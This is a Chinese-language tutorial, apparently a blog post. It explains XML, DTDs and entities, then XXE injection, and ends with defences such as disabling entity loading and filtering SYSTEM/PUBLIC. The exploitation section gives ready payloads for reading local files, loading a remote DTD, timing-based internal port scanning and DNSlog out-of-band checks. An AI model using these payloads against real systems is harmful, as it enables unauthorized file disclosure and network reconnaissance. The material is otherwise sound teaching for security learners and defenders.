XML基础
概述
XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。
XML是一种灵活的语言,类似于HTML语言,但是并没有固定的标签,所有标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。
文档结构
XML声明
DTD文档类型定义
文档元素
CDATA表示包含字符或者文本数据,这些文本将被解析器检查实体以及标记。被解析的字符数据不应当包含任意&、<、>;需要使用它们的实体来替换
< < 小于
> > 大于
& & 和号
' · 省略号
" “ 引号
DTD基础
概述
DTD即文档类型定义,用来为XML文档定义语义约束
我们可以把DTD理解为一个模板,这个模板中定义了用户自己创建的根元素以及对应的子元素和根元素的合法子元素和属性
文档元素则必须以我们的DTD为模板,来对XML的元素的内容进行相应的规范化
DTD声明
内部声明
<!DOCTYPE 根元素 [元素声明]>
外部声明
<!DOCTYPE 根元素 SYSTEM “文件名/URL”>
DTD实体
内部普通实体
<!ENTITY 实体名称 “实体的值”>
外部普通实体
<!ENTITY 实体名称 SYSTEM “URI”>
<!TINTITY 实体名称 PUBLIC “DTD标识名” “公用DTD的URI”>
PUBLIC指公用DTD,其是某个权威机构指定,供特定行业或公司
SYSTEM是指该外部DYD文件是私有的,即我们自己创建的,没有公开发行,只是个人或在公司内部或者几个合作单位之间使用
公用DTD使用PUBLIC代替了原来的SYSTEM,并增加了DTD标识名
参数实体
内部 <!ENTITY % 实体名称 “实体值”>
外部 <!ENTITY % 实体名称 SYSTEM “URI”>
XXE漏洞
概述
XXE(XML External Entity)即XML外部实体注入攻击,发生在应用程序解 析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。
在文档类型定义部分,可以引用外部的DTD文件,所以这里容易出现安全问题。XML解析器解析外部实体时支持多种协议,如:使用file协议可以读取本地文件内容;使用http协议可以获取web资源等。因此攻击者可以构造恶意的外部实体,当解析器解析了包含恶意外部实体的XML类型文件时,便会导致XXE攻击。
发现
首先寻找接受XML作为输入内容的端点。
可以通过修改HTTP的请求方法,修改Content—Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。
如果站点解析xml,就可以尝试引用实体和DTD
如果可以引用外部实体,则存在xxe漏洞.
XXE利用
读取任意文件
<?xml version = "1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">
]>
<c>&b;</c>
引入外部实体
<?xml version = "1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://127.0.0.1/xxe.dtd">
%d;
]>
<c>&b;</c>
<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">
探测内网端口
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY port SYSTEM "http://192.168.10.133">
]>
<x>&port;</x>
端口存活,用时较短
端口不存活,用时较长
还可以探测内网主机存活
Dnslog测试无回显
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ANY [
<!ENTITY test SYSTEM "http://dnslogip"> ]>
<x>&test;</x>
防御
方案一、使用开发语言提供的禁用外部实体的方法
php:
libxml_disable_entity_loader(true);
其他语言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet
方案二、过滤用户提交的XML数据
关键词:SYSTEM和PUBLIC。